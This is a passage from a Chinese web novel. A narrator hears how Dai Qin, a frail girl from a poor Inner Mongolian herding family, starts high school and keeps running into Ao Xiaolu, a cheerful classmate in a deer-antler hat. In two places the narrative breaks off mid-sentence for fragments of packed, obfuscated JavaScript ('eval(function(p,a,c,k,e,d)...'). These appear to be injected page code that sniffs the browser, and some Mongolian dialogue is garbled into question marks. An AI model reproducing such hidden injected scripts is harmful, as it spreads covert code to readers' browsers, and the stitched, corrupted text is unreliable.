我翻着书页,看着在篝火旁翻书的戴琴,又开始不动声色地套话:“戴琴……你们这儿,现在,还有狼吗?” 铁钳与火盆边缘轻轻碰撞的“叮”的一声脆响,她拨弄炭火那细微而规律的窸窣声,停顿了长长的一瞬。 她的声音传来在夜晚放大般的寂静里异常清晰:“有,不过少了。” “那还有偷猎者吗?我听说九十年代那会儿,偷猎者都很猖獗。” “嗯,的确。” 戴琴轻轻地应了一声。 “都偷猎些什么?”我忍不住探身往去。 戴琴窝进了那张老藤椅里,身上盖着那条灰毯子,跳动的火光将她半边脸庞映得暖融融的,却让另一半隐在阴影中的轮廓,显得愈发深邃难测。 “鹿,狼,黄羊,还有好些……连名字都叫不上的稀罕物。”她的语气平淡得像在叙述地方志上的记载,“那时候,一张好皮子,一副完整的骨架,能在黑市上换不少钱。” “你……你遇到过偷猎的人吗?”我在她对面的小凳上坐下,温暖的空气立刻包裹上来。 “小时候没有。”她轻轻摇头,毯子随着动作滑下一边肩膀,露出里面深蓝色袍子细腻的纹理,“我七岁就跟着阿爸搬离牧场了,他在镇上的小学教书。” 我微妙地捕捉到她话语里的苗头,精神一振,身体不自觉地微微前倾:“哦?” “那长大后就是有了?” “什么时候?” 她没有立刻回答。 她抬起头,目光越过了我的肩膀,直直地投向了我身后那扇黑沉沉的玻璃窗。 窗外是浓得化不开的草原冬夜,以及无声无息持续飘落的雪。 但她的眼神是如此悠远,如此穿透,仿佛那面冰冷的玻璃并非阻隔,而是一道能够逆转时光的幽深长廊。 “大概……是高三那年的冬天。” 她的声音更轻了,像一片最薄的雪,小心翼翼地落在结冰的湖面,几乎听不见落下的声响:“和一个朋友……去她姥姥家的牧区……” “也是在神鹿树附近不远处,我们遇到了偷猎者。” “朋友?什么朋友?”在她的叙事里,很少提及这样的角色。 我更加来劲了,好奇地问:“是你的同学?还是你小时候玩伴啊?” “叫什么名字啊?” 戴琴回眸看向我,眼神淡淡的:“是我的高中同学。” “叫敖小□□分之一鄂伦春人,和你手里那本书的主角一样,是个画家。” 她顿了顿,思索了好一会:“她是一个……很有意思的人。” “神鹿树,是她带我去看的。” “你不是想搜集素材吗?我可以同你说说,与她有关的事。” 我却之不恭,于是在这个深夜的篝火旁,我从戴琴口中,听到了一个有关于“鲸鱼与鹿”的故事。 3. 戴小鹿帽的少女 我接下来写的东西,是根据戴琴的讲述,以及她话语中,无意识透露出来的只言片语,所编撰出来的一个真假掺半的故事。 而故事里的真与假,则需要各位朋友自行去分辨。 好了,免责声明说完了,我们开始进入正题。 如前言所示,敖小陆是戴琴的高中的朋友。 因为涉及到详实的人物背景身份,我们就暂且认为她这个故事里的人,都来自于内蒙古赤峰市一个不存在的地方——九曲河市吧。 敖小陆自然也出身于九曲河市,她的父亲是个木匠,母亲是个裁缝,在那个年代,作为手艺人的后代,她的家境可以算得上不错。 她还有个鄂伦春的名字,是外祖母取的,叫做“乌热”。 我们姑且这么发音,这是春天的意思。 这个时间段,外祖母早就从山上下来了。这位老人,继承了一定的萨满知识,有相当的文化艺术熏陶,这让敖小陆有非常强的美术天分。 她天性活泼又浪漫,性子就和这片辽阔无垠的草原一样,宽厚又仁慈,深切又无私地爱着自己生命里的每一个伙伴。 用戴琴的话来说,就是她是整个翁牛特旗草原上,最浪漫的吟游诗人。 比起敖小陆的出生,戴琴的生存环境,可以算是非常糟糕。 她是家里的第三个女儿。 在她之前,她的母亲陆荛,已经生下她的大姐戴丝,二哥戴恩。甚至还有一个因为营养不足,从而夭折的孩子。 这样的情况,让父母面对她的出生时,变得格外小心翼翼。 可在她出生的那个寒冷冬天,她的母亲还是因为生她而难产了。 为了她能够顺利降生,并且活下去,她的父亲戴林夜骑数十里,用自己的两头样,从自己的安达手中换来了一根大兴安岭的老山参,钓住了戴琴的命。 不仅如此,从不信神的戴林,还听从接生的割脐大娘的建议,让自己的孩子人黑狼神做“干娘”,并且请来了一根刻着孩子名字的狼牙,作为护身符。 一面是蒙文,‘淖海其其格’,意思是……草原上的小狼崽,这是陆荛取的,盼着孩子像狼崽一样,有顽强的命,能在风雪里活下来。 另一面,是父亲戴林刻的汉字:‘戴琴’。 在蒙语里,它的意思是‘海’。 他希望自己的孩子,心中能像海一样,深,且广,什么苦难都可以一口吞下。 当然,黑狼神存不存在,并不重要。 重要的是,由此可见,她的父母对她真的很疼爱。 但是她的家境实在是太贫穷了,那时候父亲和母亲,还在牧区帮人放牧。 游牧生活,多少靠天吃饭。 要是遇到蝗灾啦,冰害啦,一年的收成大打折扣,就连勉强糊口都做不到。 要养三个孩子,几乎是很困难的事。 因为从生下来开始,戴琴就格外虚弱,再加上风寒烧坏了肺,她的处境就更加堪忧了。 在这样的家庭里出生,再加上身体不好,生命几乎岌岌可危。 为了不让戴琴生病,所以父母把她隔离在家中,不让哥哥姐姐和她接触。 贫寒,又多病,意味着耗费金钱。 隔离,意味着孤独…… 她有着一个很孤独的童年。 不过据她所说,很小的时候哥哥姐姐还是想和她亲近的。 但有一次哥哥感冒抱了她,结果戴琴发烧烧成肺炎,肺部器官损伤,从此之后她们就不敢靠近她了。 四五岁的时候,她们家从牧场搬到了市郊的农村,住进了泥砖建成的房子里。 房子建在黄土堆里,有一个院子,院子里种了一颗枣树。 她还没到上学的年纪,家里人全出去了,就只有她一个人在家,与一条黑狗为伴,坐在院子里等爸爸妈妈哥哥姐姐回来。 后来黑狗死了,她一个人很害怕。就拿着大扫帚,在院子里,一遍一遍地扫。扫到太阳的影子从短到长…… 念书了,也没有好上多少。因为身体太差,大家都说她是病秧子,没人愿意和她玩。 正因如此,八九月收割牧草的时候,成为她童年时候,难得的快乐时光。 八九月的天,蓝湛湛的。 牛车上堆满了草垛,爸爸把她放在草垛上,用帽子盖着脸…… 风一来,爸爸就甩着鞭子,赶着牛车,伴随着摇晃的牛车,前方传来了爸爸的歌声…… “天苍苍,野茫茫,风吹草低见牛羊……” 这样孤独的日子,她一过就是十六年。 直到她遇到了敖小陆。 —————— 似乎每一个人对于逝去的记忆,都会渡上一层金色的光芒。 据戴琴所说,她与敖小陆的相遇,是在一个阳光灿烂的艳阳天里。 那一年,戴琴十六岁。 拼劲了全力,努力学习,终于走出小镇中学,以优异的成绩考上九曲河市唯一一所重点高中。 这下可把戴林与陆荛高兴坏了,要知道,在这个偏僻有落后的八曲县里,还是第一次有女孩子考上重点高中。 为此戴林甚至宰了头羊,难得宴请了家族中的亲戚,用以庆贺戴琴的高中。 大人们很开心,戴琴本人也松了一口气。要知道为了备考,她已经整整一年没有玩乐了。如今一考上,搜集的《读者》又重新回到她的手中,哥哥姐姐们从外地寄回来的书籍,也终于得到了临幸。 严厉的父亲也不再时刻念叨着她“要努力考上好高中,考上好高中才能上好大学。”连带着母亲被压制的慈爱,都在这时全部爆发。 在升上高中的这一个暑假里,戴琴得到家中所有人的呵护,心无旁骛地畅游在文学的海洋。 美中不足的是,她运气稍微有一点不好,中考的时候第一天因肠胃炎发挥失常,语文没考好,还差十分才能进重点班。 但这都是什么大问题,以她的实力,只要上高中第一学期好好学习,就能顺利升上重点班了。 快乐的时光总是短暂的,很快夏去秋来,当草原吹来徐徐的凉风时,九曲河市高中也正式开学了。 开学这一天,戴林陆荛起了个大早,带着兴奋与激动,将戴琴的行李搬上了马车。 村里早起的牧羊人从院子门前经过,打了个招呼:“这一大早的,搬那么多东西,这是要去做什么?” 别人一问,戴林忍不住嘿嘿笑了起来,强压的喜悦里带着一丝得意:“送我闺女去市重点上学!” 牧羊人听了,竖起了大拇指:“厉害啊!你家姑娘是这个!” “嘿嘿……” 戴林手脚麻利,没一会就把东西搬完了。他装好箱子,转头进了屋子,朝角落的厨房走去。 厨房的灶台是用泥砖搭的,上面放着一个大铁锅,此刻盖着一个木盖子,边缘用布巾围了起来,防止热气跑出去。 在大铁锅旁还生着一个小灶,上面架着一口铜炉,正咕咕作响。 此时此刻,他的妻子陆荛正将大铁锅边缘的围布揭下来,头也不回地对他说道:“奶热好了,你端出去吧。” “好咧!” 戴林卷着袖子,将它压在掌心,作为隔离握住了铜炉的手柄,提着它走到了客厅,将它放在家中的八仙桌上。 就在这时,主屋右边的厢房门被推开,一个散着黑发的少女揉着眼睛走了出来。 这个少女,就是戴家的三女,戴琴。 在这片会被阳光直射的草原上,因为体弱多病,常年宅在家中的少女,有着过分白皙的肌肤。再加上继承了汉族母亲的黑发,她有着一头比鸦羽还要漆黑的长发。 充足的蛋白质和营养的补给,还有来自父亲优质的高挑基因,在这个物质匮乏的年代,她有着很傲然的身高。 谁见了,都要夸她一件好相貌,好气质。 就算是现在,她身上穿着姐姐留下的单薄旧衣,也从削瘦的身形里,透着几分贵气。 戴林扫了眼女儿比纸还薄的身形,眼里带着几分心疼:“去刷牙洗脸吧,妈妈已经做好饭了。” 戴琴打了个哈欠点点头,朝厨房走去。 她洗漱一番,回到客厅的时候,八仙桌上已经摆好了食物。热乎乎的奶茶,白面窝窝头,还有韭菜鸡蛋,是这个家少有的奢侈早餐。 父母一左一右地端坐在八仙桌上,目光落在她身上,殷切地盼望着她落座。 自前几年哥哥考上大学,姐姐结婚之后,她就成为了家中唯一的孩子。原本就倾斜的父爱母爱,就更是全然倾泻在她身上。 有些时候,过于沉重的爱会成为枷锁,勒得人喘不过气来。戴琴深吸一口气,坐了下来,开始和父母一起用餐。 戴林虽然是内蒙古人,但也是一个能在六十年代末考上大学的人。即使他没有上大学,但也深受汉族文化影响,十分推崇儒家思想,连带着教育孩子也比较偏向汉族文化。 比如“食不言寝不语”,再比如“棒棍地下出孝子”。 当然,后者主要针对文家的次男戴弦。小的时候,戴弦特别皮,所以天天挨揍。 文家的两个女孩子虽然不会挨揍,但也很敬畏自己的父亲。 不过就算是这样,戴林也还是有着蒙古人的特质,那就是十分的热情开明。在教育孩子这件事上,他并没有一些汉族人“重男轻女”的思想,与之相反的是,他特别鼓励女孩子学习。 尤其是戴琴。 戴琴体弱,几乎干不了农活。戴林对她最大的期望,就是努力学习,考上一个好大学,出人头地,最好能在内蒙古找个不那么累的铁饭碗,嫁个听话的好男人安逸的过一生。 就像她的姐姐戴丝一样。 于是今天在饭桌上,戴林难得多了点话:“好不容易考上了一个好高中,你保持这样的节奏,以后一定会比你哥哥有出息的。” “还有啊,在学校里,多和朋友打交道,多条朋友多条路。” “就像爸爸和你阿骨打木叔叔一样嘛……当年你刚生下来,都快死了,多亏了阿骨打木叔叔……” 絮絮叨叨,絮絮叨叨的……饭桌上,除了夹菜和咀嚼的声音,全部都是戴林的声音。 戴琴小口小口啃着饼,心神却早已飞远,在脑海中不禁腹诽。 什么多条朋友多条路,这都是骗人的。自从阿骨打木家靠种植人参发家,他们家又在几场沙尘暴损失惨重无力牧羊之后,两家就变的越来越远了。 去年夏天,草原上闹了一场蝗灾。牛羊们缺少草料,全都饿瘦了,根本卖不出好价钱。戴林为了远在呼和浩特的戴弦,不得已拉下脸去找阿骨打木借钱。 结果吃了顿饭,戴林就气呼呼地回来了,还扬言再也不和他们家来往。没过多久,阿骨打木拿着钱来道歉,戴林也是一分钱也没要。 纵使戴林和陆荛瞒着,聪明的戴琴还是猜到了事件经过。 阿骨打木有一个儿子,特别喜欢戴琴。借钱的条件,大概是要把她嫁过去。也难怪戴林那么生气。 可见什么朋友啊,兄弟啊,伙伴啊,姐妹啊,都是很虚假的关系。 俗话说“穷在闹市无近邻,富在深山有远亲。” 打铁还需自身硬! 可面对父亲的唠叨,她没有把这些话说出来,只是捧着饭碗,如同往常一般听着父亲的殷切叮咛。 吃完早饭之后,太阳也从地平线升了起来,低低地垂在东方的天边。放眼望去,没有高大建筑物遮挡的草场和榆林,全都镀上一层橙色的光芒,金灿灿的。 在父母的搀扶之下,戴琴坐上了马车的后车厢,只听得戴林扬鞭“啪”地打了一下马匹,带着陆荛驾着马车慢悠悠地朝市内驶去。 戴琴拿着一本泰戈尔诗集,挨着自己的行李木箱,侧坐在车厢旁,扭头看向身后的风景。却见金灿灿的太阳从葱葱郁郁的榆林间升起,将明媚的晨光洒落在村落两旁的稻田上,照得那一方稻田金灿灿,又沉甸甸的。 在这一刻,她心里也升出了一种沉甸甸思绪。 终于,她要离开这个贫瘠的小镇,离开这片丰盈却又穷苦的草原了。 这是她迈向理想世界的第一步,也是最重要的一步。 一想到这里,她向来古井无波的心情,也变得无比的激荡。 人在高兴的时候,是听不到那些讨人厌的杂音的。就比如现在,马车驶过镇上唯一一条通向市里的车路上时,一路有不少人打招呼。 有艳羡如牧羊人的,称赞文家有个好姑娘。 也有扫兴的,挥着膀子酸了吧唧地喊:“考上高中有什么了不起,女孩子读那么多书有什么用,还不如卖了换彩礼!” “我家姑娘初二就嫁人了,嫁给了有钱人。什么彩电,小车,全都买了!” 换做往常,戴林是不屑于搭理这些人的。但今天是他心头宝贝上学的重要日子,不能被人触霉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戴琴冷峻的表情松了松,看着身旁略有些发胖,因常年劳作长出皱纹与白发的母亲,轻声安抚:“没事的妈妈,只是跳一下而已。” 一旁的父亲戴林走到班车上将她的木箱子扛下来,一边扛一边乐呵乐呵道:“上回你跳草垛,把腿磕了一个月才好,还说没事呢。” “我看你啊,就是记吃不记打啊。” 提起这个,陆荛的神情也变得担忧起来。 一看母亲的神色变化,少女叹口气,很是无奈地喊:“爸爸……” 能不能不要提了,又要吓到妈妈了。 戴林很是识趣:“行行行,我不说,我不说了,我搬行李。” 人来人往的宿舍楼梯口,他搬着行李箱按照前头老师的指示,搬着行李箱往楼上走。陆荛拎着水桶等日用品,跟在他身后前往戴琴的宿舍。 戴琴站在楼梯口,深吸了一口气,做好心里准备后就开始往上爬。 她肺不好,平日里最讨厌运动了,尤其是爬楼梯。几乎走三步喘三步歇四步,如此这般才走到顶楼的三楼。 一到三楼,她就全身卸下力气一般靠在楼梯口,大口大口喘息着,整张脸都白了。 脑袋也因缺氧嗡嗡作响,只依稀听得左边的长廊传来交谈声。 似乎是一对新生的父母,在念叨自己的孩子。 “你要是在学校里遇到同学欺负你,你要告诉家里知道了吗?” “还有啊,体育课要是不能上,就不要勉强。你是学艺术的,又不是学体育的……” 其中母亲的关怀太鲜明,也太熟稔了。絮絮叨叨,絮絮叨叨的,戴琴忍不住仰头看过去。 这是她与敖小陆的第一次见面,不知道是真是假,在往后的数十年里,这场会面在记忆中不断地被渲染,成为了一副生动的油彩画。 明媚的秋阳朝阳穿过高大的桦树林,映照在墙壁上。在斑驳错落的树影里,被两个大人夹在中间的少女笑吟吟地朝她走来。 她穿着金黄色的蒙古族改良上衣,下面是一条黑色的阔腿裤,头上戴着一顶鹿角帽,浑身散发出来的气息清澈得好像在林深出没的小鹿。 这顶小鹿帽实在是太有辨识度,也太奇特了,以至于很多年后,戴琴都记得那顶帽子的模样。 那是一顶长出鹿角的狍子帽,作为帽子主体的狍子帽有两只黑白分明的大眼睛,看起来傻透了。 戴琴第一眼甚至没有去看敖小陆的脸,视线忍不住直勾勾地落在对方的帽子上,随着它走动而移动。 很快,那顶帽子来到了她身侧。 似乎是故意的一般,敖小陆等到两个大人下了楼梯之后,朝她这边挨了过来,发出了一声轻笑:“呵……” 戴琴抬眸看向了对方,一下和她对上了视线。 因为自己家所有的人长相都很优越,所以戴琴其实不太能注意到外人的外貌。 因此她见敖小陆的第一眼,只觉得她有一双很好看的眼睛。笑眯眯的,比天星璀璨,比狐狸狡黠,又带着一点小鹿的清澈。 许是她看久了,敖小陆挨近她,语气带了些调戏:“好看吗?” 戴琴被她问得一愣,那双眼笑意更盛,捉弄人一样补充了下一句:“我的帽子,好看吗?” 还不及戴琴回答,楼梯下的脚步声停住了。 两个大人抬头,看向帽子的主人:“怎么了?遇到同学了吗?” 帽子的主人随口应道:“嗯,打了个招呼。” 她说完,冲戴琴打了个手势:“同学,回见。” 话音落下之后,她戴着那顶小鹿帽风一样经过戴琴身边,两三步跨过楼梯,飞向自己父母。 戴琴的目光下意识跟着她走,转身看向楼下。 隐约听到小鹿帽的妈妈好奇地问:“这是你哪个同学?妈妈怎么没见过?” 小鹿帽和她解释,语气带着几分闲适懒散:“新同学,昨天来办理入学手续的时候认识的。” 这就是戴琴见敖小陆的第一面,她甚至不知道对方的名字,还被捉弄了一番。 戴琴靠在走廊休息了一会,脑海里都是方才的那双眼睛。她想了一会,心里莫名泛起了一丝火气。 还真是一个莫名其妙的傻狍子,说谎不打草稿,以后遇到这样的人,最好还是绕着走。 4. 敖小陆与小哑巴 休息了一会,戴琴很快就不把那顶小鹿帽当回事。很快,她按照报道老师提供的指引,来到她所在的308宿舍。 寝室分上下床,左右各三排,一共可以住十二人。因为太早了,宿舍只来了戴琴一个人,床铺那是随便选。考虑到戴琴的身体问题,戴林找了一个靠里的下床,铺上了戴琴的床单。夫妻二人动作很快,戴琴到来的时候,已经将床铺好了。 厚重的棉被垫在下方,用洗到发白的蓝白格床单铺得整整齐齐。见戴琴进来,戴林拍了拍干净的床铺,招呼道:“来,试试你妈妈给你铺的床铺软不软。” 戴琴依言坐了上去,诚挚地点了点头:“软!” 戴林很是欢喜:“嘿嘿……” “宿舍是整理好了,等会爸爸去给你换饭票,你和妈妈别动,换好饭票我带你们下馆子吃一顿。” 陆荛刚想说什么,戴林大步流星地走了。 “唉……”望着丈夫的背影,陆荛忍不住叹了一口气,“你爸这个人,就是风风火火的。” 戴琴笑笑,拍了拍床,和陆荛说:“妈妈坐上来说。” 陆荛还有些犹豫,担心弄脏女儿的新床。但戴琴一把将她拉过来,让她坐下。 陆荛拉着她的手,目光慈爱,又难掩欣喜:“其实你不知道,你这次考上市重点,你爸有多开心。” 戴琴顺着她的话,很好奇道:“哦?是吗?” 陆荛点点头,和她挨着神神秘秘的:“虽然你哥哥也上了高中,还考上内蒙古大学,是村里的第一个大学生。但那不是你爸理想中的大学,他其实还有点失落的。” “这下好了,你高分考上市重,一定能考上比你哥哥还好的大学。” 戴琴的心一下沉了下去,变得沉甸甸的。 她握住母亲的手,重重点头:“嗯,我会的。” 陆荛叹了口气,抬手将她的额发拨开,将她端详了一番。 她望着女儿秀丽的面容,心里又有点忧愁。她叹了口气,语气里带了点忧愁:“读书那么苦,你要是个男孩子就好了。” 戴琴握着陆荛的手,温声安慰:“女孩子也很好的,女孩子,也一样能养家。” 陆荛听了更心疼了:“妈妈说的不是这个,妈妈只是希望你能够轻松一点。” 说到这里,陆荛又提起了她初三挑灯夜战,熬着身体学习的事情,趁着戴林不在,又将她注意身体健康这些话反复叮咛了一番。 母女俩说了会话,没一会戴林拿着饭票回来了。将饭票交给戴琴之后,戴林又叮嘱一番,约定中秋来接她回家之后,就带着陆荛返程。 将父母送走之后,戴琴重新拾起放在手边的诗集,坐在床上继续看了起来。室友们陆陆续续搬了进来,热情地招呼着彼此,好不热闹。 九曲河高中,是市里唯一一所重点高中。能考上这里,大多也是市重点初中实验班的学生,互相对彼此都很眼熟。更有甚者,看到了以前班级的同学,还激动地抱着彼此,呜哇叫着又在同一个班级了。 比起这群沸腾的少女,独自坐在床边的戴琴,可以算得上孤家寡人,毕竟她之前所上的镇上初中能考上市高的人很少。 她独自一人端坐在床边,将手上的书翻了一页又一页。期间也不是没有室友想来打招呼,毕竟戴琴的外貌很好看。没有人能够抵挡一个气质冰冷,容貌好似拳蓼(liao)一般洁白无瑕的少女,哪怕是少女本身也不行。 但她周身散发的气息实在是太独特了,像是一头漆黑的狼王盘踞在自己的地盘,以绝对的森冷隔绝一切窥伺。 哪怕少女们蠢蠢欲动,也被她这种生人勿近的气场打消了念头。 不过戴琴对此很无所谓,有没有人打招呼,愿意和她做朋友,对于她来说都不是什么要紧事。 在她看来,这些小女生之间的友谊实在是过于黏腻,做什么都要在一起。 早上要一同起来去食堂打饭,课间一起手拉着手去上厕所,挨在一起嘀嘀咕咕,间或发出“咿呀!”“啊!”一类的惊呼。 有这个玩耍的功夫,不如利用好这些碎片化的时间,背几个单词,一首古诗。 所以从幼年时入学开始,戴琴就一直是孤零零的一个人。一个人上学,一个人吃饭。 午饭时间很快就到了,因为有高三补课的学生在,今天的食堂是开门的。虽然戴琴这具身体太过虚弱摄入不了多少能量很少感到饥饿感,但从长远处考虑,她还是放下书,拎起饭盒,拿着饭票朝楼下走去。 九曲河高中目前是市内目前占地平方最大,建设最好的一所学校。 校内一共有十八处建筑,分别是一栋教务大楼,一栋食堂,一栋图书楼,两所实验楼,六所教学楼,七所宿舍楼。每栋楼的楼高不过四层,以免海拔过高引起教学事故。 从宿舍楼出来往右拐,沿着桦树林的林荫道走个两百多米,就是只有一层平房的食堂大楼。道路上挤满送孩子来报到的家长,人挤人,马挤马的,空气里飘散着动物特有的骚臭味,以及随地落下的团子样的马粪便味,脏乱之中透着有序,好不热闹。 戴琴逆着人流,拎着饭盒背在身后,轻掩口鼻小心地避开这些行人马匹,绕过脚下的马粪缓步地往前走。 她步履轻盈,费了点时间抵达食堂时,打饭的窗口已经排了一个小长队。 排队的人大多数都是男生,一手抱着两个赶紧的塑料脸盆,一手抓着一堆饭票,扬起脖子朝里头望,嘴上还在嚷嚷:“怎么还没好啊!” “我们班都要放英语听力了,倒是快点上饭啊。” 嘟嘟囔囔的,没一会食堂的大叔端着一屉米饭,“啪”地一下放在窗口前:“来了来了!热腾腾的南瓜蒸米饭,应有尽有哦!” 排在前头的学生举着一个三张脸那么大的塑料盆,将饭票往大叔面前一挤:““????????????????????,?????????????????????!”(意为二两米饭,十人份额!) 胖乎乎的大叔很爽快地接过饭票,放在兜里,拿起勺子大吼一声:“??????!”(可以或者是好的意思。) 接着拿起大勺往铁板屉里舀了一大勺米饭,猛地往学生手里捧着的塑料盆压去。学生捧着一盆饭,走向了分菜区。掌勺的阿姨按照他们先头报的人数和分量,舀了一大勺不知道用什么蔬菜和多肉炖成的蔬菜炖炖,很熟练地往另外的空盆压去。 打好饭和菜之后,这些高大威猛的高三生,就一手抱着一盆饭,一手抱着一盆菜,昂首挺胸地走出食堂。 戴琴站在队伍后面,看着那些打完饭菜的前辈们仿若在举行什么特殊的仪式,一时将食物抱在怀里,一时继承了朝鲜族的传统将其顶在头上,走出食堂,奔向教学楼,顿时肃然起敬。 很快,高三的学生们都打完了饭菜,终于轮到了戴琴。 舀饭的大叔下意识用蒙语问:“???????????”(意为几个人。) 因为母亲是汉族人,再加上父亲在家中最常用的语言也是汉语,戴琴虽是蒙古族人,却不太擅长蒙古语。不过好歹是本民族的语言,她多少能听得懂一些。 她将饭票递了过去,沉声应答:“一人份,二两。” 舀饭的大叔将她打量了一眼,那张挂满落腮胡的脸露出胖乎乎的和煦笑容:“汉族的娃娃?新生哦?” 也不怪大叔认错,着实是戴琴的汉语说得太纯正了,完全不像其他的蒙古族学生,带着一股浓重的口音。 戴琴也无意去解释,她点点头,将自己铁盒子递了过去:“饭。” 和蔼的大叔也不计较,拿过她的发票,取过她的饭盒,大勺那么一舀,舀了好大一碗米饭,压得实实地:“多吃点,好姑娘要长壮点!” 草原的风太过苍凉,能将冰雪带来,也能将荒漠带来。只有最坚韧不拔的身躯,才能在腾格里的庇佑之下,驰骋一个又一个冬天。 因此蒙古族男以健壮彪悍为美,女以珠圆玉润,丰腰肥臀为美,讲究的就是一个原生态的结实,健壮。 戴琴高是高,但身板是在是太过柔弱了。仿佛小白杨,飓风一来就被吹断。在彻底长大之前,要有一个安全的空间,好好吸收营养才行。 热情的大叔大婶给她舀了超过饭票的食物,戴琴抱着饭盒在人烟稀少的食堂坐下,看着眼前小山丘一样的食物,深吸了一口气。 她随父亲,信仰马克思主义。但这时,她也想学隔壁的大娘喊一句腾格里。 毕竟是他人的好意,秉承着不浪费粮食的原则,戴琴还是将这一大盆食物慢慢吃了。 吃完之后她觉得有点撑,洗了饭盒后,索性背着手踩在林荫道中树荫与太阳相隔的那一线,慢悠悠地走。 从食堂往左再走一点就就差不多走到了校门口附近,在校门口的左右两侧搭建了雨棚,专门用来拴住走读生的马匹。经过的时候,传来一阵又一阵的马臭味。 经过校门口,就是一个一个立着旗杆的整片学校的校场。校场上立着三杆旗帜,最中间的一杆升着五星红旗,这里显然就是学生们集合的地方。 在校场正东方建造着一个两米长,一丈高的铁门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她缓了一口气,微微蹙眉扭头朝身后看去,结果转身就对上了一顶很傻的狍子帽。狍子帽的主人还在笑,秋日的艳阳下,笑得神采飞扬:“又见面了,同学。” 这是她和敖小陆的第二次见面,在平平无奇的教学楼。戴琴的心情,从一开始的涟漪,变成了感到些许烦躁。 靠着帽子,戴琴一眼就认出了对方,她强忍住露出任何情绪波动的举动,根本没有搭理敖小陆,直接转身就走了。 敖小陆倒也不气恼,连忙跟了上来,站在她身旁笑嘻嘻地问:“我没见过你,你是哪个初中升上来的?” “多大了?叫什么名字?在哪个班啊?” 戴琴没有回答她,径直往前走。也不知道敖小陆哪来的烦人劲,竟然稍稍提了速,走到了戴琴的前头,面对着她奔奔跳跳地倒退着走,初生的小鹿犊子一样,吧唧吧唧说个不停:“别不说话啊,我们交个朋友嘛。” 这种性格的孩子,说好听点是热情,不好听点就是话唠烦人精。根据经验来看,一旦被对方缠上了,她的耳朵就别想清静了。 十六岁的戴琴,虽然不像以后那么刁钻又刻薄,但也一样有着坏心眼。 为了击退对方,戴琴停下脚步,然后很认真地胡乱地比了个手势,指了指自己的嗓子,接着摆了摆手。 小狍子的眼睛渐渐睁大,眼神从过年兴奋变成惊讶,又从惊讶变成了怜惜,最后蹙着眉,很是心疼地看着戴琴。 她有着一双会说话的眼睛,兴奋的时候能让人觉得天都晴了。而一旦露出这样的眼神,就像是森林里的小鹿,湿漉漉的,水汪汪的,看得人好像心里也跟着下了一场雨。 刚才还快乐得像傻狍子一样竖起来的耳朵耷拉下来,眼神湿漉漉地看着戴琴,歉疚地开口:”对不住啊,我不知道你是这样一个情况。” 她不再追问,开始和戴琴介绍自己:“我姓敖,敖广的敖,名字叫做小陆,陆地的陆,全名敖小陆。” 她向戴琴伸出手,收敛了自己与生俱来宛若风一样摇摆不定的洒脱,满眼诚挚道,“往后你要是遇到什么困难,可以来十二班找我,我会搭把手的。” 只是这么简单的比划,就将一个烦人的傻狍子变成森林里纯洁无暇的小鹿。 恶作剧成功的戴琴,很满意这样的结果,甚至在心里隐隐升起了一股愉悦。 十二班?那岂不是和自己同班? 戴琴心中暗忱自己这个玩笑明天就得被揭穿,只是眼下她急于摆脱对方,于是点点头,伸手碰了碰对方的指尖。 她指向另一个方向,示意自己要走。 可能是对自己冒犯产生的愧疚,敖小陆并没有继续纠缠着她,只是站在原地目送她远去。 见她走了十几步,敖小陆一手放在唇边,一手摇摆着秋日的晨光,不太放心地大声喊:“你要记得哦,有事可以来找我,没事也可以来找我玩!” 戴琴一听她声音,本来想放慢的速度又硬生生地提起来,难得风一样地小碎步跑了。 5. 美人鱼与副班长 当天晚上的第一节晚自习,高一全年级新生的见面会准时展开。 戴琴是个很守时的人,秉承着父亲所教导的“做什么都要提前十五分钟”的原则,她早早就来到教室。她的身高比起同龄的女孩子要高一些,根据初中的经验,她在靠窗的最后一排角落坐下。 她来了之后一些班上的同学也陆续来了。 敖小陆很快也来了,她一进教室,就有女生很开心地喊:“乌热,这边。” 戴琴下意识地朝对方看去,只见敖小陆迈进教室,一个长得圆圆胖胖,脸上带着两坨高原红的女生连忙朝她招手:“到这里来,我们坐一起。” 敖小陆笑眯眯的:“好啊。” 她长腿一迈,走向靠窗的位置坐下,很快就被周围五六个女生给围住了,一群人嘀嘀咕咕的。 戴琴翻着手里的语文书,一边翻一边“无心”地听到隔壁的交谈。 她们都是市一中升上来的学生,以前都在一个班,关系还不错的样子。 说是关系还不错,其实应该都是围着敖小陆展开的。 毕竟一开口,除了开心都在一个班之外,就是东一句“乌热你假期过得怎么样?”西一句“对了,你之前借给我的教科书我好好预习了。” 接着又讨论其他人去了哪个班级,考不上的去了哪所初中。 吵吵嚷嚷,吵吵嚷嚷。 戴琴书翻了两页,也没有看进去什么。幸好这时上课铃声响起,班主任吕昉步入教室,终结了这群人的吵闹。 “好了好了…”吕昉一进教室,拿着黑板擦敲了敲黑板,在黑板上刷刷刷写下自己的大名,直接开门见山:“我叫吕昉,接下来一整年都是你们的班主任,也负责你们班的语文课。” 和所有语文老师一样,吕昉是一个体型消瘦,戴着眼镜文质彬彬的汉族女人。她今年不过三十二岁,带过两届学生,虽然资历不算太高,但教育水平出类拔。 自我介绍完之后,她拿着名单,推了推自己的眼镜,将名单扫了一眼:“首先热烈的恭喜各位同学升入高中,虽然没有加入重点班,但我相信在座的各位同学同样优秀得出类拔萃。” 她的声音铿锵有力,一下将所有人的注意力都拉了过去。戴琴一下就将目光投注在她身上,背脊也不自觉地挺直了起来。 吕昉站在讲台上,扫了眼台下一个个昂首挺胸的小少年,目光很犀利:“为此我要先给大家传达一个信息,十三班重点班采取的是末位淘汰制。” “每学期我们都有三次月考,一次期末考。只要综合四次成绩,排名能上年级前三十名的,就能够加入重点班! 她敲了敲桌面,语气里都是蛊惑:“玩乐的羊羔会因掉队被吃掉,只有像狼一样永远保持警惕之心努力学习,才能实现自己的梦想!” “觉得自己还可以更上一层楼的同学,请以重点班为目标努力吧!” 学生们的紧张感一下就被拉到了极限。除了敖小陆,众人都觉得有些头皮发麻,齐声应了句:“是!” 